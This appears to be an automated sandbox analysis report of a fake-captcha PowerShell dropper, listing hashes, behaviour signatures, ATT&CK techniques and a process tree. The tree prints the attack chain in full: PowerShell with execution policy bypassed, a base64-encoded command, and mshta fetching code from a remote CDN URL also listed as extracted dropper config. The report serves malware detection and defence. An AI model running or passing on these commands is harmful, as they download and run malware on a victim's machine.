b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1

Analysis

max time kernel
145s
max time network
150s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
08/08/2024, 18:30

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General

Target
verify-captcha-987.b-cdn.net.ps1
Size 147B
Sample240808-w5sk1a1cmd
SHA256 b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1
MD5 461d549b45e71d09f616ea14cf0f46d2
SHA1 eb06f635e30520fd8e764a3c6fc1216c798400c7
SHA512 ea3dc372f83d76964b01a0437febaef0b725267af8a2e72d55995e301ed5fea02d1792900e4ef7dee5068f2e41d96f7cdb12ed6932fff8637562e64fddb93b4f
MD5 SHA1 SHA512

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://microsoftcamp-c3.b-cdn.net/camp-v1

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	3160	mshta.exe
4	3160	mshta.exe
6	3160	mshta.exe
8	3160	mshta.exe
10	3160	mshta.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4904	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeDebugPrivilege	1156	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 1156	4904	powershell.exe	75
PID 4904 wrote to memory of 1156	4904	powershell.exe	75
PID 1156 wrote to memory of 3160	1156	powershell.exe	76
PID 1156 wrote to memory of 3160	1156	powershell.exe	76

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\verify-captcha-987.b-cdn.net.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AaQBjAHIAbwBzAG8AZgB0AGMAYQBtAHAALQBjADMALgBiAC0AYwBkAG4ALgBuAGUAdAAvAGMAYQBtAHAALQB2ADEA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://microsoftcamp-c3.b-cdn.net/camp-v1
    3⤵
    - Blocklisted process makes network request
    PID:3160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 066845e6408685e957268c1c1bbb2240809c5b5751ae7973235490032eb51d81
MD5 b49a31b6e3a6771dbfa29b309842ef4f
SHA1 6b837a896a3008be212e7a3e297859b06b1d22af
SHA512 804d493bfafbe4be906dc9bb760839af0dc1e7ff4e15cec1b75c328b982f797ee5910e045d691138bbf8e5bcaba3fcfe354523acd90be3a6180cdae14af19029
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 db9bcc2b9d91c00f18bfb5f98796ebad2461cb1aab12c668dbe093101f24f5ca
MD5 3041eea142763f549c278a59eff3b37d
SHA1 8c2eb452951c040e7f4681a65de384a650dfb3c6
SHA512 81456fdf0f832d39d249fbf64c98a6080494b4cc0fcc129e1ff6af8d000eeb7110f6bf50728e150d6a0e49838987896f6b446aa12371f09218e82b28938c7bbc
MD5 SHA1 SHA512

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__PSScriptPolicyTest_2fhqzdn2.rmb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2fhqzdn2.rmb.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

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memory/1156-43-0x00007FF97EED0000-0x00007FF97F8BC000-memory.dmp

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memory/1156-25-0x00007FF97EED0000-0x00007FF97F8BC000-memory.dmp

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memory/1156-28-0x00007FF97EED0000-0x00007FF97F8BC000-memory.dmp

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memory/1156-39-0x00007FF97EED0000-0x00007FF97F8BC000-memory.dmp

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memory/4904-8-0x0000021DB9890000-0x0000021DB9906000-memory.dmp

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memory/4904-20-0x00007FF97EED0000-0x00007FF97F8BC000-memory.dmp

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memory/4904-0-0x00007FF97EED3000-0x00007FF97EED4000-memory.dmp

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memory/4904-9-0x00007FF97EED0000-0x00007FF97F8BC000-memory.dmp

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memory/4904-5-0x0000021DA1390000-0x0000021DA13B2000-memory.dmp

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memory/4904-49-0x00007FF97EED0000-0x00007FF97F8BC000-memory.dmp

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